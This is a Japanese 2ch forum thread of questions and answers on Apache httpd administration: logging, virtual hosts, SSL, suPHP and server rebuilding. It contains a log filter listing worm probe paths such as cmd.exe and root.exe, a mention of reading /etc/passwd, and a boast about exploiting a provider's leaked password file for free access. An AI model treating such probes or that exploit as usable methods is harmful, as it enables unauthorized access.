名無しさん@お腹いっぱい。 :2009/04/29(水) 15:55:46
こんな管理者がはびこる世の中じゃ
いつの世にもバカはいるよ
エスパーも何も/rootとか何処で笑えばいいのか
ぽいずん
ログローテートをしたいのですが出来ません。 ログの書式を設定したいのですが 解決方法を教えていただけないでしょうか。 httpd.confで次の設定をしています。 ・ログローテートについて CustomLog "|/opt/apache/bin/rotatelogs /opt/apache/logs/access_log.%Y%m%d 86400" hoge CustomLog "|/opt/apache/bin/rotatelogs /opt/apache/logs/error_log.%Y%m%d 86400" hoge ・ログの書式について [日時] [ホスト名] [情報レベル] [詳細] という風に設定したいです。 次の設定にしています。 LogFormat "%t %h %l %u %t \"%r\" %>s %b" hoge その他の設定はほとんどデフォルトから変更しておりません。 OS : centos 4.6 Apache version: 2.2.11 以上です。よろしくお願いします。m(_ _)m
アクセス解析って何がお勧めですか? 生ログをExcelに落とし込んでマクロで成型してますが、もっとサクっとしたいです。
awstats + jawstats
Urchin
やったことないけどたぶんできると思う。 ただし、mod_userdir が生きてると邪魔するので確実にはずしておくこと。
すんません、教えてください。 すべてSSLな携帯コンテンツの負荷分散を、 mod_proxy_balancerを使って構築したいと思ってるんですが、 stickeysessionを使ったセッション維持って可能なんでしょうか?
やればできる
すまん、グチらせてくれ。 今仕事でいやいやIISいじってるのだがほんとイライラする。 apacheならhttpd.confのちょっといじればいいだけなのに、とか ログなんてgrepで探せばすぐ見つかるのに・・・とか ほんとMicrosoftは人をイライラさせる天才なんじゃないかと思う。
いやIISの方がその点は楽だろうに
.htaccessにphp_flagを書いて使いたいのですが、500エラーで動作しません。 httpd.confに何か書き込まないといけないのでしょうか? 使用しているバージョンは2.0系です。
自己解決。 ディレクティブの設定をすれば動きました。
[Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration: /export/home/live/ap/htdocs/test エラーログにこんな感じのことが書いてあると思いますが どれが404や500などのエラーかわからないです。 どうやって見分ければいいのでしょうか?
メッセージ読めばだいたい見当つくでしょ。
>>192 のエラーはたいてい403を返しているが、403が返っていることはそれほど重要じゃないw
<Directory /hogehoge> Options FollowSymLinks AllowOverride None <--- ここでログの設定 </Directory> こんな感じの設定方法でログを一切記録しない方法ってある?
.htaccessに <IfModule mod_throttle.c> ThrottleClientIP 1 volume 1M 1200 </IfModule> と書いて1MBを超える転送を試みたのですが503ページになってくれず 通常通りページを表示することができてしまいました mod_throttle自体はインストールできていると思うのですが・・ 何か確実に確認できる方法がありましたら教えてくださいよろしくお願いします。
apacheのログを久しぶりに見て気がついたのだが 条件を多く指定してると、ちゃんとログが分けられず 拒否してる条件でもログを記録しちゃってるのはなぜ??
どこかで設定ミスってるんじゃないの
いや、ミスってるよ。
# 許可User-Agent ## Google SetEnvIf User-Agent "Googlebot" search no_log !html_log SetEnvIf User-Agent "Googlebot-Image" search no_log !html_log SetEnvIf User-Agent "Googlebot-Mobile" search no_log !html_log ## Yahoo SetEnvIf User-Agent "Y!J" search no_log !html_log # MSN SetEnvIf User-Agent "msnbot" search no_log !html_log (BOT User-Agent略) # 拒否User-Agent ## Baidu.jp SetEnvIf User-Agent "Baiduspider" no_log !html_log deny_agent SetEnvIf User-Agent "BaiduImagespider" no_log !html_log deny_agent SetEnvIf User-Agent "BaiduMobaider" no_log !html_log deny_agent
SetEnvIf Request_URI "default\.ida" worm file_log no_log SetEnvIf Request_URI "cmd\.exe" worm file_log no_log SetEnvIf Request_URI "root\.exe" worm file_log no_log SetEnvIf Request_URI "Admin\.dll" worm file_log no_log SetEnvIf Request_URI "NULL\.IDA" worm file_log no_log SetEnvIf Request_URI "^/_mem_bin/" worm file_log no_log SetEnvIf Request_URI "^/_vti_bin/" worm file_log no_log SetEnvIf Request_URI "^/c/" worm file_log no_log SetEnvIf Request_URI "^/d/" worm file_log no_log SetEnvIf Request_URI "^/msadc/" worm file_log no_log SetEnvIf Request_URI "^/MSADC/" worm file_log no_log SetEnvIf Request_URI "^/scripts/" worm file_log no_log SetEnvIf Request_URI "^/server-status" file_log no_log SetEnvIf Request_URI "robots\.txt" file_log no_log SetEnvIf Request_URI "favorite.ico" file_log no_log SetEnvIf Remote_Addr "^192\.168\." file_log no_log SetEnvIf Remote_Addr "^127\.0\." file_log no_log SetEnvIf Request_URI "\.(jpg)|(gif)|(png)|(ico)|(css)$" img file_log no_log SetEnvIf Request_URI "\/(\.(html)|(htm)|(cgi)|(php)|)$" html_log file_log !no_log CustomLog logs/access_log htmlformat env=!no_log CustomLog logs/access_html_log htmlformat env=html_log <-- に、!html_logで記録したくないやつが記録されてる CustomLog logs/access_img_log imgformat env=img CustomLog logs/access_file_log imgformat env=!file_log CustomLog logs/worm_log searchformat env=worm CustomLog logs/search_log searchformat env=search もうお手上げorz
実際そんなに設定ファイルを複雑にして、得るものってわずかじゃね? まあ、ログにとりたくないものってのはわかるけどさ
>>204 うちのサイトはログ五つにわけてるけど・・・
>>203 の分け方は難しそう。
SetEnvIf Request_URI "\/(\.(html)|(htm)|(cgi)|(php)|)$" html_log file_log !no_log
の!no_logって未対応になったはずだと思うけど?
面倒だし、perlとかでスクリプト書いてパイプログにしたほうがいい
やはりだれもわからなかったか・・
パイプログにすりゃいいだろ
すり抜けたログにマッチして!html_logをするSetEnvIfを書けばいいんじゃないの?
httpdはUTF-8ロカールで動いているのですが、特定のディレクトリだけ ファイル名がSJISになっているところがあって、そこだけファイル名をSJISで 扱うようにはできないでしょうか?
211 :
名無しさん@お腹いっぱい。 :2009/08/07(金) 12:49:49
apacheのログ解析ツールについて質問したいのですが、今サーチエンジンをcgiで
動かしているんですが、ユーザーが入力した日本語のエンコードされたURLの
http:// …/a.cgi?phrase=%E3%83%88…
みたいなのの%E3%83%88…を日本語で表示してくれるものはありますか?
214 :
211 :2009/08/07(金) 22:07:06
>>213 ありがとうございます。ほぼデコードできました。
お手軽なのでmod_proxy_balancerでPHPのサイトをホットスタンバイで冗長化しているのですが、 セッションの維持にPHP側での修正が必要な状況はまだ続いているのでしょうか? セッションが維持できればstatus=+Hをはずして負荷分散したいのですが、なにか便利なモジュール出てますか?
216 :
名無しさん@お腹いっぱい。 :2009/08/12(水) 21:58:09
今更な質問ですがみなさんDocumentRootはどこに設定してますか? デフォルトのままだと色々都合が悪いと思って質問してみました。
人に聞くことじゃなくて 自分で決めること。
都合が悪くないから、デフォルトのまま。
デフォルトが都合が悪いとは思わないけど、自分にとってわかりやすいように変えた
/home以下がよくね? バックアップ取る時とか便利じゃん。 でも確かにみんなどうしてるのかは気になる。
/home以下だからバックアップ便利っていう理屈がよくわからん。
サービス専用のパーティション切ってそっちに入れてる こまけーこたぁいーんだよ
/home以下はバックアップを取っているという
>>221 なりの前提があるんだろう
225 :
名無しさん@お腹いっぱい。 :2009/08/19(水) 18:32:50
WEBサーバーが2つあり1つは既に稼働してます。 バックアップとしてもう1つWEBサーバを構築する必要があるのですが apacheに関して設定を書いたリストがないことからどのようにしていいか迷ってます。 httpd -Vでバージョン等はわかるんですがconfigureでどの値を指定して入れたのかといった 情報を確かめる方法はありますか?
>>225 簡単な方法はないと思う。
httpd -l とかからがんばってひねり出す。
Apacheに関係したディレクトリのどっかにbuildってディレクトリがあって そこにconfig.niceとかいろいろ入っていてくれるときもある。
というか、全く同じバックアップが欲しいなら、 バイナリまるごとコピーしたらいいだけじゃないか。
どうせなら古い方も入れ直しちゃえば?
231 :
225 :2009/08/19(水) 19:41:51
>>226 やってみたけど
Compiled in modules:
core.c
prefork.c
http_core.c
mod_so.c
って表示されて俺のレベルではハードルが高すぎました。
>>227 探してみましたが今回はそういった親切なフォルダやファイルはなさそうでした。
>>228 ソースのディレクトリは何故かきれいに掃除してありました・・・
>>229 サーバ止められないのでそのあたり少し難しいかもしれません
>>230 入れ直したいんですが止められないのでちょっと難しいです。
anaconda-ks.cfgのログに%packagesに@web-server自体がなかったので
OS構築後に入れたのはわかったんですが、初心者の私にはハードルが高そうですね。
質問するなら動作環境くらい書いとけ anacondaのログを確認とかヘンなことしてるが普通はrpmで有無を確認するだろ パッケージで入れてるなら同じパッケージを入れて設定をコピーして修正 野良ビルドならhttpd.confから主要なファイルの配置先を把握して それらのディレクトリやファイルを別マシンにコピーすればいい 以上が意味不明でお手上げと言うなら素直に出来ませんと伝えた方がいいね
>>231 > サーバ止められないのでそのあたり少し難しいかもしれません
バイナリーまるごとコピーするのに、
なぜサーバーを止める必要があると思い込んでるの?
234 :
225 :2009/08/19(水) 20:41:55
>>232 既にrpmは確認してあります。httpd.confについてはファイルの配置先はいま確認してますので
そちらからさかのぼっていけば多分だいたいはわかると思います。
言われていることは初歩的なことなので初心者の私でも理解は出来ております。
的確なアドバイスありがとうございます。
>>231 すいません。HDDまるごとごっそりと勘違いしてると思います。
主要な部分だけなら別に止める必要はないですね。
>>234 元がrpmなら、同じrpmを別マシンに入れればいいだけ。
あえてconfigureのオプションを確認したいなら、
そのrpmに対して rpm -qi で表示されるソースのrpmを入手して、
その中の SPECファイルに configureにオプションを付けたコマンド行が書いてある。
初歩的な質問ですみません。 Apache2.2を使ってます。 UTF-8で¥(円マーク)が/になってしまうのですが httpd.confで何を設定したらいいでしょうか?
バックスラッシュじゃなくスラッシュに化けるってのは重症だな。
うむw
重症か軽症かは関係ありませんので詳しい方のみ回答をお願いします
241 :
名無しさん@お腹いっぱい。 :2009/08/21(金) 12:45:19
\を使わなければいいんじゃないかな。
¥を使えばいいんじゃないかな。
>>236 マジレスすっと、それApacheとかhttpd.confとか無関係、板違いの話題。
SJISであれUTF-8であれ、\x5Cのバイナリ的には同じ。
ただブラウザで選択される言語のフォントで文字の割り当てが違うだけ。
>>241 ,242の言うとおりにするか、
詳しくは、Web系の板行くなり、HTML/CSS関係、実体参照あたりでググってくれ。
ダウト。 UTF-8なら、¥と\(ともに半角)のコードは違う。
U+00a5もSJISとかだと0x5cにマッピングされるのが困る
ダウトって2chで言う奴を8年ぶりくらいに見た
この板ではたまに見かけるし
>>239 みたいな一つ覚えも多いよな
この板ならではの終わっちゃってる年寄り感がすごいっす
ダウトって結構いろんなところで見かけるけど言ってる人は同じ人じゃないかとは思ってた。
「ダウト」に「ダウト」で反論してたりするのもよく見かけるし、 同じ人と考えるのは無理があり過ぎるなぁ
ジジイ臭い言い回し、fj(笑)で流行ってたんだろ。
そういうことにしたいのですね。
普通の会話でダウトとか言う奴はジジイだろw 死語に近いしww
じじい同士の会話で意味が通じれば使ってもいーんでね?
「〜してみるテスト」は復活してきている気がする
今なら「〜なう」だろ。
httpd.apache.org のサイト、壊れてる。。。
おぉ、本当だ。
戻ったね
あ、ほんとだ、戻ったね。
266 :
261 :2009/08/29(土) 06:59:11
>>265 それっぽい。もっとも、俺が見たのはそのメッセージじゃなく、
トップページのディレクトリがまんまで晒されていたとこ。
うん、俺が見たのもそれ。復旧作業中にindex.htmlが無かった瞬間を目撃したのだろう。
うちは弱小サイトだから、鯖のコンテンツを直すときには dev 機で作業してチェックしてから production 機に移すとか やらんで、prod 機の html をいきなりemacs で編集、なんて 結構やるが、apache site もまさかその類なんじゃろか。
>>268 あるサーバー上のデータをrsyncかなんかで定期的に同期してる
>>269 キタコレ
これでわざわざいじる必要なくなるか
つことは、これ、mod_security つかって、SecResponseBodyAccess や SecServerSignature をセットしないでも良くなった、てことかい?
今日PerlとPHPをユーザ権限で走らせたくてmod_suphp入れたんだけど いろんなブログのsuPHPのインストール記録みると、たいていの人がsuExecも一緒に入れてるんだけど、ありゃなんでだ?? AddHandler x-suphp-cgi .cgi .pl suPHP_AddHandler x-suphp-cgi すればsuPHPだけでPHPもPerlもユーザ権限で走るのに、わざわざsuExec入れる意味がわからないんだけど それともぼくの認識がおかしい?
所有者 httpd グループ httpd 所有者 apache グループ apache って、どう違うの? ブラウザから見るグループウェア使ってるんだけど アップデートが出ていたのでアップデートを適用して確認のため ログオンしようとしたらグループウェアをインストールしてるフォルダに権限がないから 入れないよっていう警告が出て入れなかった 仕方ないのでインストールフォルダの権限とかみてたら他はほとんど 所有者 httpd グループ httpdばかりなのにエラーが出てたフォルダは所有者 apache グループ apacheってのに なってたから試しに所有者 httpd グループ httpdにかえたら入れるようになった んでもはいれた後も、ブラウザからログオンして使ってると所有権云々のエラーみたいなのが多発する 所有者 httpd グループ httpdでないと駄目なフォルダに所有者 apache グループ apacheとかなっちゃってるのは 何でなんだろう? Apacheの設定?
>>275 apacheをどのようなユーザ/グループで動かすかは、あくまで利用者が決める範疇。
ただ、バイナリパッケージを配布しているようなディストリビューションでは、
ディストリビューションのレベルでユーザ/グループを決めている。
ただし、それはどの環境でも同じとは限らない。
そのグループウェア、設定項目に、どのユーザ/グループで動かすかの指定があるんじゃないか?
デフォルトがapache/apacheになってるだけで。
277 :
名無しさん@お腹いっぱい。 :2009/10/10(土) 18:45:45
初カキコです。スレチでしたら誘導をお願いします。 Windows環境で、USBフラッシュメモリにApache, Perl, PHP, MySQL(SQLight)の入ったPortable Server環境の構築を考えてます。 Portable Server環境で利用するスクリプト(ソフト)はNamazuとMediwWikiを考えています。 調べたところUSBメモリが使えるPortable ServerとしてはXAMPP, EasyPHP, Server2Goなど色々ありますが一長一短のような気がします。 お勧めのPortable Serverがあったら教えてください。
Windows環境で
280 :
名無しさん@お腹いっぱい。 :2009/10/10(土) 19:18:15
あ、ごめん。Unix板だったのか。いつもお世話になってます。 スレタイに誘導されて思わず書きこんじまったよ。
mp4 をストリーミングするモジュールってありませんか?
mod_musicindex
>>282 それ、なんかうまくいかないんですよね。
もうちょっとがんばってみます。
サーバは1台、IPも1つの環境で、sslをサブドメインとドメインで使おうとしています。このサーバではexample.comとexample.netのドメインが割り振られており、それぞれ別のcgiが動いていて、バーチャルホストでアクセスを振り分けています。
example.comではcgiを、svn.example.comではsubversionサーバを動かそうとしています。
IPが1つなので、ワイルドカードsslを使おうとしました。
ssl.confの<VirtualHost _default_:443>以下をコメントアウトし、vhost_ssl.confとかを作ってこう書きました。
# svn用
NameVirtualHost *:443
LoadModule dav_svn_module modules/mod_dav_svn.so
LoadModule authz_svn_module modules/mod_authz_svn.so
<VirtualHost *:443>
ServerAdmin
[email protected] ServerName svn.example.com
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /path/to/ssl.crt
SSLCertificateKeyFile /path/to/ssl.key
<Files ~ "\.(cgi|shtml|phtml|php3?)$">
SSLOptions +StdEnvVars
</Files>
<Location />
DAV svn
SSLRequireSSL
SVNParentPath /path/to/svn_repo
SVNListParentPath on
SVNAutoversioning on
AuthType Digest
AuthName "example"
AuthUserFile /path/to/digest_file
Require valid-user
</Location>
</VirtualHost>
# cgi用
Alias /my_cgi/ "/path/to/cgi/"
<VirtualHost *:443>
ServerName example.com
<Directory /path/to/cgi/>
DirectoryIndex example.pl
Options ExecCGI
AuthType Digest
AuthName "example"
AuthDigestDomain /example/
AuthUserFile /path/to/digest_file
Require valid-user
</Directory>
</VirtualHost>
これで
https://svn.example.com/ でsubversionサーバが、
https://example.com/my_cgi/ でcgiが動くのですが、
cgiはhttpでもアクセス出来てしまい、
http://svn.example.com/ にアクセスすると、example.netの方のコンテンツが表示されてしまいます。
何処を直せばいいかアドバイスをお願いします。
細かい要件と既存の設定よくわからんが 80番のバーチャルホストも設定しなきゃダメ NameVirtualHost *:443 NameVirtualHost *:80 <VirtualHost *:443> ServerName svn.example.com </VirtualHost> <VirtualHost *:443> ServerName example.com </VirtualHost> <VirtualHost *:443> ServerName svn.example.com </VirtualHost> <VirtualHost *:80> ServerName example.com </VirtualHost> <VirtualHost *:80> ServerName example.net </VirtualHost> 全部説明するのは面倒だから自分で考えてくれ イメージは (1)IP・ポートベースバーチャルホストと、名前ベースバーチャルホストは混在可能 (2)NameVirtualHostディレクティブで指定したIP・ポート(今回は*:80、*:443)に名前ベースバーチャルホストを作成する
ああ、これも必要だな <VirtualHost *:80> ServerName svn.example.com </VirtualHost>
>>285 virtualhost のなかに、scriptalias。
日記書くのに高性能なブログツールみたいなのってない??
つ チラシの裏
TiddlyWiki
mod_vhost_aliasにDOCUMENT_ROOTがVirtualHost非互換っていう不具合があって、バグ報告というか問題提起をしたいんだけど(できれば開発コミュへ直に)、どこにポストしたらいいものでしょうか?
あ、Bugzillaじゃなくてメーリングリストに投稿したいというなら、 俺は止めないけど、とりあえずBugzillaの議論を見てからでも遅くないと思う ちなみに俺は英語苦手だから26052の議論を追う気はない
>>295 ありがとうございます。
まさにそのBugzillaに欲しかったエクスキューズがありました。
感謝します。
CentOS 5.4 x86_64 で apache 2.2.14 を野良ビルドしようとしたら、libexpat.so: could not read symbols だ、といって怒られた。例の、/usr/lib 対 /usr/lib64 の問題だろ、 と思って、かるく ./configure --enable-lib64 とか --with-expat=builtin とか、 LDFLAGS="-L/usr/lib64" とか、そういうので回避できるかと思ったら、どれもダメで、 予想以上に手こずった。 結局、build/config_vars.mkのなかの EXTRA_LDFLAGSの定義を EXTRA_LDFLAGS = -L/usr/lib64 -L/usr/kerberos/lib と手で 直してとりあえず解決したが。 現象自体は既出だけど、よくある解決法が効かなかったところが不審。 RHEL/CentOS 5.4 の 64bit機で似たような目に遭った香具師いませんか?
>>297 CentOS 5.4 (x86_64) で、普通に build 出来てる。
gcc4.4でもicc11.1でもできてる。
299 :
名無しさん@お腹いっぱい。 :2009/11/02(月) 02:29:05
[ aaa.comのdocroot ] /aaa.com/public_html [ bbb.comのdocroot] /aaa.com/public_html/bbb.com/public_html こういった環境のバーチャルホストを作成したとき、aaa.comのhtaccessの設定て サブディレクトリにも継承されますか?
誤ってhttpd.confを削除してしまいました(専用レン鯖)。 現在apacheは起動していますが、 何らかで再起動の必要が生じるまでになんとかせねば…。 非常に焦っています。 現在読み込まれているhttpd.confの内容を把握する方法はありませんか?
mod_infoが有効だったらそれを見て書き写す 有効じゃなかったら…俺には思い浮かばないな
>>301 当事者じゃないが、たしかにそれ使えるな。
Thx!
バックアップ無しのレンサバ? それなら、諦めて次善策考えた方が良い。
Apache(VirtualHost)とTomcatをmod_jkで連携しています。 Tomcatでエラー発生時に、Tomcat側で設定しているエラーページを 表示したいのですが、Apacheのデフォルトのエラードキュメントが表示されてしまいます。 (「Additionally, a xxx error was encountered while trying to use an ErrorDocument to handle the request」というやつ) ・ErrorDocumentディレクティブは設定していない ・Tomcatからはエラーページが返っている(mod_jk.logのダンプで確認) ・しかし上の直後に"No body with status=xxx for worker=workerx"と出力されている →エラーページがbodyとして返ってきているのに何故??? ・Tomcatのエラーページの拡張子を.varにするとちゃんとTomcat側のエラーページが表示できる 何故こうなるのか思い当たる点がある方、いらっしゃいませんでしょうか。
Linuxの場合そんなことが出来るのか 俺はFreeBSDだけどprocファイルシステム有効にしよっかな
inodeがわかれば何とかなるのかな。
Apacheはhttpd.conf開きっぱなしにしないような。
質問です。特定のipからのアクセスは、robots.txt以外全て拒否しようとして以下のように書きましたが、robots.txtを含めてアクセスを遮断してしまいます。 どこが悪いんでしょうか? <Location /> Order Allow,Deny Allow from all Deny from 1.1.1.1 </Location> <Files robots.txt> Order Deny,Allow Allow from all </Files>
IPってゆうな。クズ。
>>312 IPv6からしかアクセスできないようにしたいのかもしれないだろ。
ipって略したらIPv4、ってこともないわけだが。
ip(小文字)っていうのは、iprouteというソフトに入ってるコマンド。 iprouteでのアクセスを遮断したい、という質問だろ。
>>314 もちろん。IPv4だけにしたいのかもしれない。当人に聞いてみろ。
IPv9で使いたいのかもしれん 移植がんばれ
Apache 1.3でSSIを使うために
AddType text/x-server-parsed-html .html
を追加したのですが、すると
http://www.mysite.com/ でindex.htmlにアクセスしたとき、ファイルを保存のダイアログが出てしまいます。
(IE6.0です)
なにか回避方法はないでしょうか?
>>318 アクセスしてみたけどダイアログ出なかったよ?
現在、httpd.confで、以下のように、アクセス禁止をしています。 <Directory "/home/"> Order allow,deny Allow from all deny from 116.48.25.*** deny from 202.177.48.*** deny from 122.20.183.*** </Directory> しかしこれだと、JPGなどの画像ファイルにはアクセスされてしまいます。 これを、画像ファイルだけ遮断させて、HTMLは表示させるということはできないでしょうか? <Files ~ "\.(gif|png|jpg)$ Order allow,deny Allow from all deny from 116.48.25.*** deny from 202.177.48.*** deny from 122.20.183.*** </Files> これを試してみましたが、機能しませんでした。
321 :
320 :2009/12/02(水) 06:59:47
<Files ~ "\.(gif|jpe?g|png)$"> Order allow,deny Allow from all deny from 116.48.25.*** deny from 202.177.48.*** deny from 122.20.183.*** </Files> これにしたらいけました お騒がせしてすいません
wrowe、何やってんの?wrowe。
Apache License 2.0ライセンスのjar(改編なし)を梱包した商用製品をリリースする場合についてですが、 ライセンス翻訳には「要求するのは、ユーザーがそのソフトウェアに Apache License のコードが使われていることを知らせる文言を入れることだけである」 とあり、使用ライブラリ名の明記までは書かれていないので、 複数使用していても、 製品マニュアルに「Apache License 2.0のライブラリを使用しています。」と、載せておけばよいのでしょうか? 翻訳だけではライセンスの満たし方がわかりにくいので、その辺わかりやすく解説しているサイト等もありましたら、 教えていただけないでしょうか?
324 :
名無しさん@お腹いっぱい。 :2009/12/14(月) 12:44:44
急な質問で申し訳ないのですが。 わたしのサーバで、/var/www/htmlのWEB公開用ディレクトリにconfが置いてあるみたいなのですが、大丈夫でしょうか。 confにはifcfg-eth0など、ネットワーク関連の設定ファイルが入っています。 このディレクトリにconfをおいた覚えはないのですが、何かのバグですか? もしくはクラッキングされてしまったのでしょうか。 OSはCentOS5.3です。
何言ってんの。
>>324 そのマシンも、あんたも、多分、大丈夫ではない。
>>324 それで思い出した。
もう10年以上も前だけど、むかしベッコアメってプロバイダがあってね
そのホームページスペースに自分がアップロードした覚えのないファイルが突如出現したりしてたんだ
ファイル名はcoreなんだけど、当時はcoreの意味がわからなくて、気味悪いからとりあえずFTPでダウンロードしてHEXDUMPしてみたら
中身が/etc/passwordでひっくり返ったことがあった。
サポートに電話してもよくわかないというから、じゃあ自分の持ち物扱いなんだなということで
まぁ、あまりヘンな自慢はできないしアレだけど、その日から数年間ネットの通信料はタダで生活できました。
10年前と言うことは、不正アクセス禁止法成立前か?
331 :
名無しさん@お腹いっぱい。 :2010/01/06(水) 07:15:59
>>332 ご指摘どうもです。そちらの板の
perlスレで聞くことにしました。
前々から聞きたいなと思っていたのですが、アクセスログを見ていると、
時々リファラに複数のURIが併記されたものがあります。例えば今さっき来たヤツですが、
http://yellowinphotograph.net/apage/22875.php, http://www.stephenblog.com/?p=867, http://210.24.175.20:880/xoops/modules/newbb/viewtopic.php?post_id=19749, http://astinweddingordinators.com/2009/12/15/2010-wedding-trends.aspx, http://sumissionword.com/submit-link/, http://www.mah.on.ca/Page7030.aspx, http://www.doctorconsult.com.ar/en/component/artforms/?formid=2, http://bridsmajor.blog128.fc2.com/blog-entry-15.html, http://austincar.co.cc/addjob.php, http://travelguide.blog.com/travel_leisure/cruises/italy-the-heaven-of-parmesan-and-ham/, http://travelguide.blog.com/travel_leisure/asia/indonesia/bali/visit-india-travel-by-visit-tnt-new-report-on-travel-in-india/, http://ho.hoorku.com/index.php?option=com_adsmanager&page=write_ad&catid=7&Itemid=0, http://job.co.cc/addjob.php みたいな具合。これは一体何なんですか?
## 上記のすべての URI は、実際のログから取得した文字列に手を入れてあります。
## また長過ぎる行があると言われて跳ねられるので URI の区切れ目で改行しています。
特定のWikiを狙い撃ちしてる
Webサイト管理者への宣伝なんじゃねーの?
自動でリファラ表示するサイト向けの宣伝、とか。 いずれにせよあんまり気にしてもしょうがないと思う。
うちだと複数のURLがつながってるのは無いけど、どっかのアフィブログのURLがくっついてるのはよくあるな
SEO?
>>339 SEOとは何を略した言葉で何を意味するのかわかっていれば
そんなことは言えないと思うんだ
341 :
名無しさん@お腹いっぱい。 :2010/01/21(木) 13:11:38
2ch型の掲示板みたいなの(というか主にlog置場)を作りたいんですが、 cgi-binの下に dat/ と subject.txt を置くと error.log に attempt to invoke directory as script: C:/xampp/cgi-bin/○○○/ と出てしまいますが、httpd.conf の書き方が間違っているんでしょうか? それともそもそもcgi-binの下に置いたのが間違いなのでしょうか? 教えてください。
342 :
341 :2010/01/21(木) 13:24:29
343 :
341 :2010/01/21(木) 13:28:13
書き忘れました。 httpd.confにはこう書ました。 <Directory c:/xampp/cgi-bin/○○○/> Options Indexes Order allow,deny Allow from all </Directory>
>>342 これは単にファイルが置いてあるだけだよ。
CGIとか関係ない。
>>341 > それともそもそもcgi-binの下に置いたのが間違いなのでしょうか?
はい。
346 :
341 :2010/01/21(木) 13:40:11
>>344 それは分っているのですが、ファイル収集のためにcgiを書ました。
>>345 そうなんんですか!? 2chもてっきりそうなってると思ってたんですが、
よくみると2chのスレのURLにはcgi-binって入ってませんね。。。
monazilla とかで2chがどうなっているか聞いたほうがいいんでしょうか。
348 :
341 :2010/01/21(木) 13:54:28
>>347 なるほど。考えなおします。ありがとうございました。
349 :
341 :2010/01/21(木) 16:49:48
御陰さまでJaneとLive2chで読み込めるのを確認できました。 どうもありがとうございました。
350 :
334 :2010/01/22(金) 01:42:03
>>335-338 ご意見をありがとうございます。
もしかしたら、と思って自分の blog で弾かれている trackback のリストと apache のログを照合すると、
そのまんまピッタリでした。というわけで、なんかトラックバック・スパム?みたいなもののようです。
実害は無いので無視しておくことにします。
FreeBSD(fsdb使えれば)はinodeわかればln(fdsbのコマンド)できる。 zfsでのサルベージ方法教えろ。
頭お菓子な人が来たー
まさにスイーツ(笑)
354 :
名無しさん@お腹いっぱい。 :2010/02/26(金) 18:40:21
すみません。 起動中のApacheのMPMがPreforkかWorkerかのどちらであるか調べるコマンドありますか? Apache 2.0系です。
355 :
名無しさん@お腹いっぱい。 :2010/02/26(金) 20:43:36
>>354 環境がわからないけどこんな感じ
apachectl -V
apache2ctl -V
普通に考えたらそうなんだけど、既に起動中のhttpdが それと同じバイナリファイルから起動されたものであるの 保証がなかったりするから100%ではないような。
あぁあるかも 最近の鯖はCPUはやくてメモリーもたくさん詰めるから httpd複数立てたほうが効率的だったりするんだよね ServerLimitとかMaxClientsの上限低すぎるとおもうなー 動画配信とかで1プロセスあたりコネクトしてる時間が異様に長い子沢山なサーバってどういうMax/Limit設定にしてるんだろ?
>>356 Apache Server Informationとか
リブートできる権限があるならMPMを確認した上でリブートしてしまうのが
.htaccessが使えるならこの辺を組み合わせるとか。 <IfModule mpm_prefork_module> <IfModule mpm_worker_module> SetEnvIf
workerかpreforkならpsでスレッド情報まで出すオプション付ければ良いんじゃない?
straceで追いかければ動作の違いから判定できるかな? あと、TeXとかEmacsみたいに任意のプロセスイメージを実行ファイルに ダンプしてくれるコマンドがあったから、それでダンプして-Vとか。
BASIC認証で使っていい文字ってどんなの?
365 :
名無しさん@お腹いっぱい。 :2010/04/05(月) 09:40:25
/var/log/httpdを見ていて気づいたのですが、 ログファイルのオーナーがrootになっています。 User apache Group apache として、デーモンはapacheユーザで走らせているのに関わらずです。 何故このような動作をするのでしょうか?
親プロセスがrootだから。
CGIプログラムを作ってて、今までは家のテストサーバーで動かしてたのですが、 だいぶバグも取れてきたので、VPSを借りて公開してみようかと思っています。 そこで質問なんですが、公開する場合、やはりApacheの設定とかってかなり セキュリティを意識してやらないといけないでしょうか? 家のテストサーバーはCentOSの入門書に書いてあった通り、とりあえずCGIを 使えるように設定しただけなんですが、この程度の知識でVPSでCGIプログラム を公開するのは無謀ですか? またお勧めのサイトや書籍等も教えてください。 よろ
Linuxの話はLinux板で。
369 :
367 :2010/04/09(金) 16:48:01
>>368 すみません
>>367 の質問はApacheの設定についての質問の
つもりなんですが・・・
Linux板にApacheスレが見つからなかったもんで・・・
>>368 「Linuxの話はLinux板で」という返しは年寄りスレで。
372 :
367 :2010/04/09(金) 17:04:08
ファイルには更新日時がつくのですが、ディレクトリにアクセスして、DirectoryIndexにあるデフォルトのhtmlファイルが表示された際に、 更新日時が送られません。 更新日時を送るようにするにはどうしたらよいものでしょうか?
375 :
名無しさん@お腹いっぱい。 :2010/06/13(日) 22:55:01
suexecでperlをCGIで動かしてるんですが `cat /etc/passwd`;とか system("/usr/bin/foo"); とかユーザがコマンドを実行できないようにするには どう対処すればいいでしょうか?
パーミッションを700にすればいいんじゃないの
質問です。 友人の鯖で、cssが遅いです。 Fedora12 apache 2.2.15 GET hoge.css をすると、 ?/p?$???E??稟@?@??凄w?1??P狒9??LP ?s??HTTP/1.1 200 OK Date: Wed, 16 Jun 2010 22:00:12 GMT Server: Apache/2.2.15 1行目が文字化けの余計なレスポンスが 結局cssは適用されるんだけど、読み込むまでに15秒とか掛かっています。 mime.type と 文字コードの確認はしました。 後考えられる原因は何があるでしょうか? 宜しければ教えて下さい。お願い致します。
378 :
名無しさん@お腹いっぱい。 :2010/06/26(土) 18:48:52
>>378 小学生レベルだな
RewriteRule ^/uploda/img/aaa(.*)\.jpg /uploda/index.php?=$1
つーか、そもそもの順序が逆だと思うのは俺だけかなぁ・・・
381 :
378 :2010/07/10(土) 06:24:19
要求は 989141 であって 98914 ではないんだから、それではうまくいかないのでは?
ただの脱字だと思うけどね
変換前後が逆だと思ってる香具師は素人
>>386 つまり画像ファイルへ直リンされたときはcgi経由のURLに自動的に戻し
アダルト広告を表示させたい、とあなたはそう仰っているわけですね?(キリッ
>>388 わざわざ出てきて、無知な素人だと必死でアピールしなくても良いぞ。
素人は引っ込んでろよ。www
素人はきっと画像ファイルがそこにあるという先入観が取れないんだろうな
RewriteRuleって、Locationセクション内に 書けないんだっけ? マニュアルだけ見ると、できなさそうな 感じなんだけど…。
書けるけど、書かないほうがいい
>>392 どうして?
書けるなら書こうと思ったんだけど。
サイト別にアクセス制限したくて。
ヒント: 無限ループ
ヒント: こわくね?
無限ループは発生しないだろ。発生するというなら実例示してよ。
